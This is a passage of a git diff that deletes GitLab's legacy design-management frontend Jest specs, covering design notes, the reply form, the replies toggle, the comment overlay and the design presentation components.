- expect(mutate).toHaveBeenCalledWith(mutationVariables);
-
- return mutate()
- .then(() => {
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- expect(findReplyForm().exists()).toBe(false);
- });
- });
-
- it('clears the discussion comment on closing comment form', () => {
- createComponent(
- { discussionWithOpenForm: discussion.id },
- { discussionComment: 'test', isFormRendered: true },
- );
-
- return wrapper.vm
- .$nextTick()
- .then(() => {
- findReplyForm().vm.$emit('cancelForm');
-
- expect(wrapper.vm.discussionComment).toBe('');
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- expect(findReplyForm().exists()).toBe(false);
- });
- });
-
- it('applies correct class to design notes when discussion is highlighted', () => {
- createComponent(
- {},
- {
- activeDiscussion: {
- id: notes[0].id,
- source: 'pin',
- },
- },
- );
-
- expect(wrapper.findAll(DesignNote).wrappers.every(note => note.classes('gl-bg-blue-50'))).toBe(
- true,
- );
- });
-
- it('calls toggleResolveDiscussion mutation on resolve thread button click', () => {
- createComponent();
- findResolveButton().trigger('click');
- expect(mutate).toHaveBeenCalledWith({
- mutation: toggleResolveDiscussionMutation,
- variables: {
- id: discussion.id,
- resolve: true,
- },
- });
- return wrapper.vm.$nextTick(() => {
- expect(findResolveLoadingIcon().exists()).toBe(true);
- });
- });
-
- it('calls toggleResolveDiscussion mutation after adding a note if checkbox was checked', () => {
- createComponent(
- { discussionWithOpenForm: discussion.id },
- { discussionComment: 'test', isFormRendered: true },
- );
- findResolveButton().trigger('click');
- findReplyForm().vm.$emit('submitForm');
-
- return mutate().then(() => {
- expect(mutate).toHaveBeenCalledWith({
- mutation: toggleResolveDiscussionMutation,
- variables: {
- id: discussion.id,
- resolve: true,
- },
- });
- });
- });
-
- it('emits openForm event on opening the form', () => {
- createComponent();
- findReplyPlaceholder().vm.$emit('onClick');
-
- expect(wrapper.emitted('openForm')).toBeTruthy();
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/design_notes/design_note_spec.js b/spec/frontend/design_management_legacy/components/design_notes/design_note_spec.js
deleted file mode 100644
index aa187cd1388..00000000000
--- a/spec/frontend/design_management_legacy/components/design_notes/design_note_spec.js
+++ /dev/null
@@ -1,170 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { ApolloMutation } from 'vue-apollo';
-import DesignNote from '~/design_management_legacy/components/design_notes/design_note.vue';
-import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
-import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
-import DesignReplyForm from '~/design_management_legacy/components/design_notes/design_reply_form.vue';
-
-const scrollIntoViewMock = jest.fn();
-const note = {
- id: 'gid://gitlab/DiffNote/123',
- author: {
- id: 'author-id',
- },
- body: 'test',
- userPermissions: {
- adminNote: false,
- },
-};
-HTMLElement.prototype.scrollIntoView = scrollIntoViewMock;
-
-const $route = {
- hash: '#note_123',
-};
-
-const mutate = jest.fn().mockResolvedValue({ data: { updateNote: {} } });
-
-describe('Design note component', () => {
- let wrapper;
-
- const findUserAvatar = () => wrapper.find(UserAvatarLink);
- const findUserLink = () => wrapper.find('.js-user-link');
- const findReplyForm = () => wrapper.find(DesignReplyForm);
- const findEditButton = () => wrapper.find('.js-note-edit');
- const findNoteContent = () => wrapper.find('.js-note-text');
-
- function createComponent(props = {}, data = { isEditing: false }) {
- wrapper = shallowMount(DesignNote, {
- propsData: {
- note: {},
- ...props,
- },
- data() {
- return {
- ...data,
- };
- },
- mocks: {
- $route,
- $apollo: {
- mutate,
- },
- },
- stubs: {
- ApolloMutation,
- },
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('should match the snapshot', () => {
- createComponent({
- note,
- });
-
- expect(wrapper.element).toMatchSnapshot();
- });
-
- it('should render an author', () => {
- createComponent({
- note,
- });
-
- expect(findUserAvatar().exists()).toBe(true);
- expect(findUserLink().exists()).toBe(true);
- });
-
- it('should render a time ago tooltip if note has createdAt property', () => {
- createComponent({
- note: {
- ...note,
- createdAt: '2019-07-26T15:02:20Z',
- },
- });
-
- expect(wrapper.find(TimeAgoTooltip).exists()).toBe(true);
- });
-
- it('should trigger a scrollIntoView method', () => {
- createComponent({
- note,
- });
-
- expect(scrollIntoViewMock).toHaveBeenCalled();
- });
-
- it('should not render edit icon when user does not have a permission', () => {
- createComponent({
- note,
- });
-
- expect(findEditButton().exists()).toBe(false);
- });
-
- describe('when user has a permission to edit note', () => {
- it('should open an edit form on edit button click', () => {
- createComponent({
- note: {
- ...note,
- userPermissions: {
- adminNote: true,
- },
- },
- });
-
- findEditButton().trigger('click');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findReplyForm().exists()).toBe(true);
- expect(findNoteContent().exists()).toBe(false);
- });
- });
-
- describe('when edit form is rendered', () => {
- beforeEach(() => {
- createComponent(
- {
- note: {
- ...note,
- userPermissions: {
- adminNote: true,
- },
- },
- },
- { isEditing: true },
- );
- });
-
- it('should not render note content and should render reply form', () => {
- expect(findNoteContent().exists()).toBe(false);
- expect(findReplyForm().exists()).toBe(true);
- });
-
- it('hides the form on hideForm event', () => {
- findReplyForm().vm.$emit('cancelForm');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findReplyForm().exists()).toBe(false);
- expect(findNoteContent().exists()).toBe(true);
- });
- });
-
- it('calls a mutation on submitForm event and hides a form', () => {
- findReplyForm().vm.$emit('submitForm');
- expect(mutate).toHaveBeenCalled();
-
- return mutate()
- .then(() => {
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- expect(findReplyForm().exists()).toBe(false);
- expect(findNoteContent().exists()).toBe(true);
- });
- });
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/design_notes/design_reply_form_spec.js b/spec/frontend/design_management_legacy/components/design_notes/design_reply_form_spec.js
deleted file mode 100644
index 088a71b64af..00000000000
--- a/spec/frontend/design_management_legacy/components/design_notes/design_reply_form_spec.js
+++ /dev/null
@@ -1,184 +0,0 @@
-import { mount } from '@vue/test-utils';
-import DesignReplyForm from '~/design_management_legacy/components/design_notes/design_reply_form.vue';
-
-const showModal = jest.fn();
-
-const GlModal = {
- template: '<div><slot name="modal-title"></slot><slot></slot><slot name="modal-ok"></slot></div>',
- methods: {
- show: showModal,
- },
-};
-
-describe('Design reply form component', () => {
- let wrapper;
-
- const findTextarea = () => wrapper.find('textarea');
- const findSubmitButton = () => wrapper.find({ ref: 'submitButton' });
- const findCancelButton = () => wrapper.find({ ref: 'cancelButton' });
- const findModal = () => wrapper.find({ ref: 'cancelCommentModal' });
-
- function createComponent(props = {}, mountOptions = {}) {
- wrapper = mount(DesignReplyForm, {
- propsData: {
- value: '',
- isSaving: false,
- ...props,
- },
- stubs: { GlModal },
- ...mountOptions,
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('textarea has focus after component mount', () => {
- // We need to attach to document, so that `document.activeElement` is properly set in jsdom
- createComponent({}, { attachToDocument: true });
-
- expect(findTextarea().element).toEqual(document.activeElement);
- });
-
- it('renders button text as "Comment" when creating a comment', () => {
- createComponent();
-
- expect(findSubmitButton().html()).toMatchSnapshot();
- });
-
- it('renders button text as "Save comment" when creating a comment', () => {
- createComponent({ isNewComment: false });
-
- expect(findSubmitButton().html()).toMatchSnapshot();
- });
-
- describe('when form has no text', () => {
- beforeEach(() => {
- createComponent({
- value: '',
- });
- });
-
- it('submit button is disabled', () => {
- expect(findSubmitButton().attributes().disabled).toBeTruthy();
- });
-
- it('does not emit submitForm event on textarea ctrl+enter keydown', () => {
- findTextarea().trigger('keydown.enter', {
- ctrlKey: true,
- });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('submitForm')).toBeFalsy();
- });
- });
-
- it('does not emit submitForm event on textarea meta+enter keydown', () => {
- findTextarea().trigger('keydown.enter', {
- metaKey: true,
- });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('submitForm')).toBeFalsy();
- });
- });
-
- it('emits cancelForm event on pressing escape button on textarea', () => {
- findTextarea().trigger('keyup.esc');
-
- expect(wrapper.emitted('cancelForm')).toBeTruthy();
- });
-
- it('emits cancelForm event on clicking Cancel button', () => {
- findCancelButton().vm.$emit('click');
-
- expect(wrapper.emitted('cancelForm')).toHaveLength(1);
- });
- });
-
- describe('when form has text', () => {
- beforeEach(() => {
- createComponent({
- value: 'test',
- });
- });
-
- it('submit button is enabled', () => {
- expect(findSubmitButton().attributes().disabled).toBeFalsy();
- });
-
- it('emits submitForm event on Comment button click', () => {
- findSubmitButton().vm.$emit('click');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('submitForm')).toBeTruthy();
- });
- });
-
- it('emits submitForm event on textarea ctrl+enter keydown', () => {
- findTextarea().trigger('keydown.enter', {
- ctrlKey: true,
- });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('submitForm')).toBeTruthy();
- });
- });
-
- it('emits submitForm event on textarea meta+enter keydown', () => {
- findTextarea().trigger('keydown.enter', {
- metaKey: true,
- });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('submitForm')).toBeTruthy();
- });
- });
-
- it('emits input event on changing textarea content', () => {
- findTextarea().setValue('test2');
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('input')).toBeTruthy();
- });
- });
-
- it('emits cancelForm event on Escape key if text was not changed', () => {
- findTextarea().trigger('keyup.esc');
-
- expect(wrapper.emitted('cancelForm')).toBeTruthy();
- });
-
- it('opens confirmation modal on Escape key when text has changed', () => {
- wrapper.setProps({ value: 'test2' });
-
- return wrapper.vm.$nextTick().then(() => {
- findTextarea().trigger('keyup.esc');
- expect(showModal).toHaveBeenCalled();
- });
- });
-
- it('emits cancelForm event on Cancel button click if text was not changed', () => {
- findCancelButton().trigger('click');
-
- expect(wrapper.emitted('cancelForm')).toBeTruthy();
- });
-
- it('opens confirmation modal on Cancel button click when text has changed', () => {
- wrapper.setProps({ value: 'test2' });
-
- return wrapper.vm.$nextTick().then(() => {
- findCancelButton().trigger('click');
- expect(showModal).toHaveBeenCalled();
- });
- });
-
- it('emits cancelForm event on modal Ok button click', () => {
- findTextarea().trigger('keyup.esc');
- findModal().vm.$emit('ok');
-
- expect(wrapper.emitted('cancelForm')).toBeTruthy();
- });
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/design_notes/toggle_replies_widget_spec.js b/spec/frontend/design_management_legacy/components/design_notes/toggle_replies_widget_spec.js
deleted file mode 100644
index acc7cbbca52..00000000000
--- a/spec/frontend/design_management_legacy/components/design_notes/toggle_replies_widget_spec.js
+++ /dev/null
@@ -1,98 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { GlIcon, GlButton, GlLink } from '@gitlab/ui';
-import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
-import ToggleRepliesWidget from '~/design_management_legacy/components/design_notes/toggle_replies_widget.vue';
-import notes from '../../mock_data/notes';
-
-describe('Toggle replies widget component', () => {
- let wrapper;
-
- const findToggleWrapper = () => wrapper.find('[data-testid="toggle-comments-wrapper"]');
- const findIcon = () => wrapper.find(GlIcon);
- const findButton = () => wrapper.find(GlButton);
- const findAuthorLink = () => wrapper.find(GlLink);
- const findTimeAgo = () => wrapper.find(TimeAgoTooltip);
-
- function createComponent(props = {}) {
- wrapper = shallowMount(ToggleRepliesWidget, {
- propsData: {
- collapsed: true,
- replies: notes,
- ...props,
- },
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('when replies are collapsed', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('should not have expanded class', () => {
- expect(findToggleWrapper().classes()).not.toContain('expanded');
- });
-
- it('should render chevron-right icon', () => {
- expect(findIcon().props('name')).toBe('chevron-right');
- });
-
- it('should have replies length on button', () => {
- expect(findButton().text()).toBe('2 replies');
- });
-
- it('should render a link to the last reply author', () => {
- expect(findAuthorLink().exists()).toBe(true);
- expect(findAuthorLink().text()).toBe(notes[1].author.name);
- expect(findAuthorLink().attributes('href')).toBe(notes[1].author.webUrl);
- });
-
- it('should render correct time ago tooltip', () => {
- expect(findTimeAgo().exists()).toBe(true);
- expect(findTimeAgo().props('time')).toBe(notes[1].createdAt);
- });
- });
-
- describe('when replies are expanded', () => {
- beforeEach(() => {
- createComponent({ collapsed: false });
- });
-
- it('should have expanded class', () => {
- expect(findToggleWrapper().classes()).toContain('expanded');
- });
-
- it('should render chevron-down icon', () => {
- expect(findIcon().props('name')).toBe('chevron-down');
- });
-
- it('should have Collapse replies text on button', () => {
- expect(findButton().text()).toBe('Collapse replies');
- });
-
- it('should not have a link to the last reply author', () => {
- expect(findAuthorLink().exists()).toBe(false);
- });
-
- it('should not render time ago tooltip', () => {
- expect(findTimeAgo().exists()).toBe(false);
- });
- });
-
- it('should emit toggle event on icon click', () => {
- createComponent();
- findIcon().vm.$emit('click', new MouseEvent('click'));
-
- expect(wrapper.emitted('toggle')).toHaveLength(1);
- });
-
- it('should emit toggle event on button click', () => {
- createComponent();
- findButton().vm.$emit('click', new MouseEvent('click'));
-
- expect(wrapper.emitted('toggle')).toHaveLength(1);
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/design_overlay_spec.js b/spec/frontend/design_management_legacy/components/design_overlay_spec.js
deleted file mode 100644
index c014f3479f4..00000000000
--- a/spec/frontend/design_management_legacy/components/design_overlay_spec.js
+++ /dev/null
@@ -1,410 +0,0 @@
-import { mount } from '@vue/test-utils';
-import DesignOverlay from '~/design_management_legacy/components/design_overlay.vue';
-import updateActiveDiscussion from '~/design_management_legacy/graphql/mutations/update_active_discussion.mutation.graphql';
-import notes from '../mock_data/notes';
-import { ACTIVE_DISCUSSION_SOURCE_TYPES } from '~/design_management_legacy/constants';
-
-const mutate = jest.fn(() => Promise.resolve());
-
-describe('Design overlay component', () => {
- let wrapper;
-
- const mockDimensions = { width: 100, height: 100 };
-
- const findOverlay = () => wrapper.find('.image-diff-overlay');
- const findAllNotes = () => wrapper.findAll('.js-image-badge');
- const findCommentBadge = () => wrapper.find('.comment-indicator');
- const findFirstBadge = () => findAllNotes().at(0);
- const findSecondBadge = () => findAllNotes().at(1);
-
- const clickAndDragBadge = (elem, fromPoint, toPoint) => {
- elem.trigger('mousedown', { clientX: fromPoint.x, clientY: fromPoint.y });
- return wrapper.vm.$nextTick().then(() => {
- elem.trigger('mousemove', { clientX: toPoint.x, clientY: toPoint.y });
- return wrapper.vm.$nextTick();
- });
- };
-
- function createComponent(props = {}, data = {}) {
- wrapper = mount(DesignOverlay, {
- propsData: {
- dimensions: mockDimensions,
- position: {
- top: '0',
- left: '0',
- },
- resolvedDiscussionsExpanded: false,
- ...props,
- },
- data() {
- return {
- activeDiscussion: {
- id: null,
- source: null,
- },
- ...data,
- };
- },
- mocks: {
- $apollo: {
- mutate,
- },
- },
- });
- }
-
- it('should have correct inline style', () => {
- createComponent();
-
- expect(wrapper.find('.image-diff-overlay').attributes().style).toBe(
- 'width: 100px; height: 100px; top: 0px; left: 0px;',
- );
- });
-
- it('should emit `openCommentForm` when clicking on overlay', () => {
- createComponent();
- const newCoordinates = {
- x: 10,
- y: 10,
- };
-
- wrapper
- .find('.image-diff-overlay-add-comment')
- .trigger('mouseup', { offsetX: newCoordinates.x, offsetY: newCoordinates.y });
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('openCommentForm')).toEqual([
- [{ x: newCoordinates.x, y: newCoordinates.y }],
- ]);
- });
- });
-
- describe('with notes', () => {
- it('should render only the first note', () => {
- createComponent({
- notes,
- });
- expect(findAllNotes()).toHaveLength(1);
- });
-
- describe('with resolved discussions toggle expanded', () => {
- beforeEach(() => {
- createComponent({
- notes,
- resolvedDiscussionsExpanded: true,
- });
- });
-
- it('should render all notes', () => {
- expect(findAllNotes()).toHaveLength(notes.length);
- });
-
- it('should have set the correct position for each note badge', () => {
- expect(findFirstBadge().attributes().style).toBe('left: 10px; top: 15px;');
- expect(findSecondBadge().attributes().style).toBe('left: 50px; top: 50px;');
- });
-
- it('should apply resolved class to the resolved note pin', () => {
- expect(findSecondBadge().classes()).toContain('resolved');
- });
-
- it('when there is an active discussion, should apply inactive class to all pins besides the active one', () => {
- wrapper.setData({
- activeDiscussion: {
- id: notes[0].id,
- source: 'discussion',
- },
- });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findSecondBadge().classes()).toContain('inactive');
- });
- });
- });
-
- it('should recalculate badges positions on window resize', () => {
- createComponent({
- notes,
- dimensions: {
- width: 400,
- height: 400,
- },
- });
-
- expect(findFirstBadge().attributes().style).toBe('left: 40px; top: 60px;');
-
- wrapper.setProps({
- dimensions: {
- width: 200,
- height: 200,
- },
- });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(findFirstBadge().attributes().style).toBe('left: 20px; top: 30px;');
- });
- });
-
- it('should call an update active discussion mutation when clicking a note without moving it', () => {
- const note = notes[0];
- const { position } = note;
- const mutationVariables = {
- mutation: updateActiveDiscussion,
- variables: {
- id: note.id,
- source: ACTIVE_DISCUSSION_SOURCE_TYPES.pin,
- },
- };
-
- findFirstBadge().trigger('mousedown', { clientX: position.x, clientY: position.y });
-
- return wrapper.vm.$nextTick().then(() => {
- findFirstBadge().trigger('mouseup', { clientX: position.x, clientY: position.y });
- expect(mutate).toHaveBeenCalledWith(mutationVariables);
- });
- });
- });
-
- describe('when moving notes', () => {
- it('should update badge style when note is being moved', () => {
- createComponent({
- notes,
- });
-
- const { position } = notes[0];
-
- return clickAndDragBadge(
- findFirstBadge(),
- { x: position.x, y: position.y },
- { x: 20, y: 20 },
- ).then(() => {
- expect(findFirstBadge().attributes().style).toBe('left: 20px; top: 20px; cursor: move;');
- });
- });
-
- it('should emit `moveNote` event when note-moving action ends', () => {
- createComponent({ notes });
- const note = notes[0];
- const { position } = note;
- const newCoordinates = { x: 20, y: 20 };
-
- wrapper.setData({
- movingNoteNewPosition: {
- ...position,
- ...newCoordinates,
- },
- movingNoteStartPosition: {
- noteId: notes[0].id,
- discussionId: notes[0].discussion.id,
- ...position,
- },
- });
-
- const badge = findFirstBadge();
- return clickAndDragBadge(badge, { x: position.x, y: position.y }, newCoordinates)
- .then(() => {
- badge.trigger('mouseup');
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- expect(wrapper.emitted('moveNote')).toEqual([
- [
- {
- noteId: notes[0].id,
- discussionId: notes[0].discussion.id,
- coordinates: newCoordinates,
- },
- ],
- ]);
- });
- });
-
- describe('without [adminNote] permission', () => {
- const mockNoteNotAuthorised = {
- ...notes[0],
- userPermissions: {
- adminNote: false,
- },
- };
-
- const mockNoteCoordinates = {
- x: mockNoteNotAuthorised.position.x,
- y: mockNoteNotAuthorised.position.y,
- };
-
- it('should be unable to move a note', () => {
- createComponent({
- dimensions: mockDimensions,
- notes: [mockNoteNotAuthorised],
- });
-
- const badge = findAllNotes().at(0);
- return clickAndDragBadge(badge, { ...mockNoteCoordinates }, { x: 20, y: 20 }).then(() => {
- // note position should not change after a click-and-drag attempt
- expect(findFirstBadge().attributes().style).toContain(
- `left: ${mockNoteCoordinates.x}px; top: ${mockNoteCoordinates.y}px;`,
- );
- });
- });
- });
- });
-
- describe('with a new form', () => {
- it('should render a new comment badge', () => {
- createComponent({
- currentCommentForm: {
- ...notes[0].position,
- },
- });
-
- expect(findCommentBadge().exists()).toBe(true);
- expect(findCommentBadge().attributes().style).toBe('left: 10px; top: 15px;');
- });
-
- describe('when moving the comment badge', () => {
- it('should update badge style to reflect new position', () => {
- const { position } = notes[0];
-
- createComponent({
- currentCommentForm: {
- ...position,
- },
- });
-
- return clickAndDragBadge(
- findCommentBadge(),
- { x: position.x, y: position.y },
- { x: 20, y: 20 },
- ).then(() => {
- expect(findCommentBadge().attributes().style).toBe(
- 'left: 20px; top: 20px; cursor: move;',
- );
- });
- });
-
- it('should update badge style when note-moving action ends', () => {
- const { position } = notes[0];
- createComponent({
- currentCommentForm: {
- ...position,
- },
- });
-
- const commentBadge = findCommentBadge();
- const toPoint = { x: 20, y: 20 };
-
- return clickAndDragBadge(commentBadge, { x: position.x, y: position.y }, toPoint)
- .then(() => {
- commentBadge.trigger('mouseup');
- // simulates the currentCommentForm being updated in index.vue component, and
- // propagated back down to this prop
- wrapper.setProps({
- currentCommentForm: { height: position.height, width: position.width, ...toPoint },
- });
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- expect(commentBadge.attributes().style).toBe('left: 20px; top: 20px;');
- });
- });
-
- it.each`
- element | getElementFunc | event
- ${'overlay'} | ${findOverlay} | ${'mouseleave'}
- ${'comment badge'} | ${findCommentBadge} | ${'mouseup'}
- `(
- 'should emit `openCommentForm` event when $event fired on $element element',
- ({ getElementFunc, event }) => {
- createComponent({
- notes,
- currentCommentForm: {
- ...notes[0].position,
- },
- });
-
- const newCoordinates = { x: 20, y: 20 };
- wrapper.setData({
- movingNoteStartPosition: {
- ...notes[0].position,
- },
- movingNoteNewPosition: {
- ...notes[0].position,
- ...newCoordinates,
- },
- });
-
- getElementFunc().trigger(event);
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('openCommentForm')).toEqual([[newCoordinates]]);
- });
- },
- );
- });
- });
-
- describe('getMovingNotePositionDelta', () => {
- it('should calculate delta correctly from state', () => {
- createComponent();
-
- wrapper.setData({
- movingNoteStartPosition: {
- clientX: 10,
- clientY: 20,
- },
- });
-
- const mockMouseEvent = {
- clientX: 30,
- clientY: 10,
- };
-
- expect(wrapper.vm.getMovingNotePositionDelta(mockMouseEvent)).toEqual({
- deltaX: 20,
- deltaY: -10,
- });
- });
- });
-
- describe('isPositionInOverlay', () => {
- createComponent({ dimensions: mockDimensions });
-
- it.each`
- test | coordinates | expectedResult
- ${'within overlay bounds'} | ${{ x: 50, y: 50 }} | ${true}
- ${'outside overlay bounds'} | ${{ x: 101, y: 101 }} | ${false}
- `('returns [$expectedResult] when position is $test', ({ coordinates, expectedResult }) => {
- const position = { ...mockDimensions, ...coordinates };
-
- expect(wrapper.vm.isPositionInOverlay(position)).toBe(expectedResult);
- });
- });
-
- describe('getNoteRelativePosition', () => {
- it('calculates position correctly', () => {
- createComponent({ dimensions: mockDimensions });
- const position = { x: 50, y: 50, width: 200, height: 200 };
-
- expect(wrapper.vm.getNoteRelativePosition(position)).toEqual({ left: 25, top: 25 });
- });
- });
-
- describe('canMoveNote', () => {
- it.each`
- adminNotePermission | canMoveNoteResult
- ${true} | ${true}
- ${false} | ${false}
- ${undefined} | ${false}
- `(
- 'returns [$canMoveNoteResult] when [adminNote permission] is [$adminNotePermission]',
- ({ adminNotePermission, canMoveNoteResult }) => {
- createComponent();
-
- const note = {
- userPermissions: {
- adminNote: adminNotePermission,
- },
- };
- expect(wrapper.vm.canMoveNote(note)).toBe(canMoveNoteResult);
- },
- );
- });
-});
diff --git a/spec/frontend/design_management_legacy/components/design_presentation_spec.js b/spec/frontend/design_management_legacy/components/design_presentation_spec.js
deleted file mode 100644
index ceff86b0549..00000000000
--- a/spec/frontend/design_management_legacy/components/design_presentation_spec.js
+++ /dev/null
@@ -1,553 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import DesignPresentation from '~/design_management_legacy/components/design_presentation.vue';
-import DesignOverlay from '~/design_management_legacy/components/design_overlay.vue';
-
-const mockOverlayData = {
- overlayDimensions: {
- width: 100,
- height: 100,
- },
- overlayPosition: {
- top: '0',
- left: '0',
- },
-};
-
-describe('Design management design presentation component', () => {
- let wrapper;
-
- function createComponent(
- {
- image,
- imageName,
- discussions = [],
- isAnnotating = false,
- resolvedDiscussionsExpanded = false,
- } = {},
- data = {},
- stubs = {},
- ) {
- wrapper = shallowMount(DesignPresentation, {
- propsData: {
- image,
- imageName,
- discussions,
- isAnnotating,
- resolvedDiscussionsExpanded,
- },
- stubs,
- });
-
- wrapper.setData(data);
- wrapper.element.scrollTo = jest.fn();
- }
-
- const findOverlayCommentButton = () => wrapper.find('.image-diff-overlay-add-comment');
-
- /**
- * Spy on $refs and mock given values
- * @param {Object} viewportDimensions {width, height}
- * @param {Object} childDimensions {width, height}
- * @param {Float} scrollTopPerc 0 < x < 1
- * @param {Float} scrollLeftPerc 0 < x < 1
- */
- function mockRefDimensions(
- ref,
- viewportDimensions,
- childDimensions,
- scrollTopPerc,
- scrollLeftPerc,
- ) {
- jest.spyOn(ref, 'scrollWidth', 'get').mockReturnValue(childDimensions.width);
- jest.spyOn(ref, 'scrollHeight', 'get').mockReturnValue(childDimensions.height);
- jest.spyOn(ref, 'offsetWidth', 'get').mockReturnValue(viewportDimensions.width);
- jest.spyOn(ref, 'offsetHeight', 'get').mockReturnValue(viewportDimensions.height);
- jest
- .spyOn(ref, 'scrollLeft', 'get')
- .mockReturnValue((childDimensions.width - viewportDimensions.width) * scrollLeftPerc);
- jest
- .spyOn(ref, 'scrollTop', 'get')
- .mockReturnValue((childDimensions.height - viewportDimensions.height) * scrollTopPerc);
- }
-
- function clickDragExplore(startCoords, endCoords, { useTouchEvents, mouseup } = {}) {
- const event = useTouchEvents
- ? {
- mousedown: 'touchstart',
- mousemove: 'touchmove',
- mouseup: 'touchend',
- }
- : {
- mousedown: 'mousedown',
- mousemove: 'mousemove',
- mouseup: 'mouseup',
- };
-
- const addCommentOverlay = findOverlayCommentButton();
-
- // triggering mouse events on this element best simulates
- // reality, as it is the lowest-level node that needs to
- // respond to mouse events
- addCommentOverlay.trigger(event.mousedown, {
- clientX: startCoords.clientX,
- clientY: startCoords.clientY,
- });
- return wrapper.vm
- .$nextTick()
- .then(() => {
- addCommentOverlay.trigger(event.mousemove, {
- clientX: endCoords.clientX,
- clientY: endCoords.clientY,
- });
-
- return wrapper.vm.$nextTick();
- })
- .then(() => {
- if (mouseup) {
- addCommentOverlay.trigger(event.mouseup);
- return wrapper.vm.$nextTick();
- }
-
- return undefined;
- });
- }
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- it('renders image and overlay when image provided', () => {
- createComponent(
- {
- image: 'test.jpg',
- imageName: 'test',
- },
- mockOverlayData,
- );
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- it('renders empty state when no image provided', () => {
- createComponent();
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- it('openCommentForm event emits correct data', () => {
- createComponent(
- {
- image: 'test.jpg',
- imageName: 'test',
- },
- mockOverlayData,
- );
-
- wrapper.vm.openCommentForm({ x: 1, y: 1 });
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.emitted('openCommentForm')).toEqual([
- [{ ...mockOverlayData.overlayDimensions, x: 1, y: 1 }],
- ]);
- });
- });
-
- describe('currentCommentForm', () => {
- it('is null when isAnnotating is false', () => {
- createComponent(
- {
- image: 'test.jpg',
- imageName: 'test',
- },
- mockOverlayData,
- );
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.currentCommentForm).toBeNull();
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- it('is null when isAnnotating is true but annotation position is falsey', () => {
- createComponent(
- {
- image: 'test.jpg',
- imageName: 'test',
- isAnnotating: true,
- },
- mockOverlayData,
- );
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.currentCommentForm).toBeNull();
- expect(wrapper.element).toMatchSnapshot();
- });
- });
-
- it('is equal to current annotation position when isAnnotating is true', () => {
- createComponent(
- {
- image: 'test.jpg',
- imageName: 'test',
- isAnnotating: true,
- },
- {
- ...mockOverlayData,
- currentAnnotationPosition: {
- x: 1,
- y: 1,
- width: 100,
- height: 100,
- },
- },
- );
-
- return wrapper.vm.$nextTick().then(() => {
- expect(wrapper.vm.currentCommentForm).toEqual({
- x: 1,
- y: 1,
- width: 100,
- height: 100,
- });
- expect(wrapper.element).toMatchSnapshot();
- });
- });
- });
-
- describe('setOverlayPosition', () => {
- beforeEach(() => {
- createComponent(
- {
- image: 'test.jpg',
- imageName: 'test',
- },
- mockOverlayData,
- );
- });
-
- afterEach(() => {
- jest.clearAllMocks();
- });
-
- it('sets overlay position correctly when overlay is smaller than viewport', () => {
- jest.spyOn(wrapper.vm.$refs.presentationViewport, 'offsetWidth', 'get').mockReturnValue(200);
- jest.spyOn(wrapper.vm.$refs.presentationViewport, 'offsetHeight', 'get').mockReturnValue(200);
-
- wrapper.vm.setOverlayPosition();
- expect(wrapper.vm.overlayPosition).toEqual({
- left: `calc(50% - ${mockOverlayData.overlayDimensions.width / 2}px)`,
- top: `calc(50% - ${mockOverlayData.overlayDimensions.height / 2}px)`,
- });
- });
-
- it('sets overlay position correctly when overlay width is larger than viewports', () => {
- jest.spyOn(wrapper.vm.$refs.presentationViewport, 'offsetWidth', 'get').mockReturnValue(50);
- jest.spyOn(wrapper.vm.$refs.presentationViewport, 'offsetHeight', 'get').mockReturnValue(200);
-
- wrapper.vm.setOverlayPosition();
- expect(wrapper.vm.overlayPosition).toEqual({
- left: '0',
- top: `calc(50% - ${mockOverlayData.overlayDimensions.height / 2}px)`,
- });
- });
-
- it('sets overlay position correctly when overlay height is larger than viewports', () => {
- jest.spyOn(wrapper.vm.$refs.presentationViewport, 'offsetWidth', 'get').mockReturnValue(200);
- jest.spyOn(wrapper.vm.$refs.presentationViewport, 'offsetHeight', 'get').mockReturnValue(50);
-
- wrapper.vm.setOverlayPosition();
- expect(wrapper.vm.overlayPosition).toEqual({
- left: `calc(50% - ${mockOverlayData.overlayDimensions.width / 2}px)`,
- top: '0',
- });
- });
- });
-
- describe('getViewportCenter', () => {
- beforeEach(() => {
- createComponent(
- {
- image: 'test.jpg',
- imageName: 'test',
- },
- mockOverlayData,
- );
- });
-
- it('calculate center correctly with no scroll', () => {
- mockRefDimensions(
- wrapper.vm.$refs.presentationViewport,
- { width: 10, height: 10 },
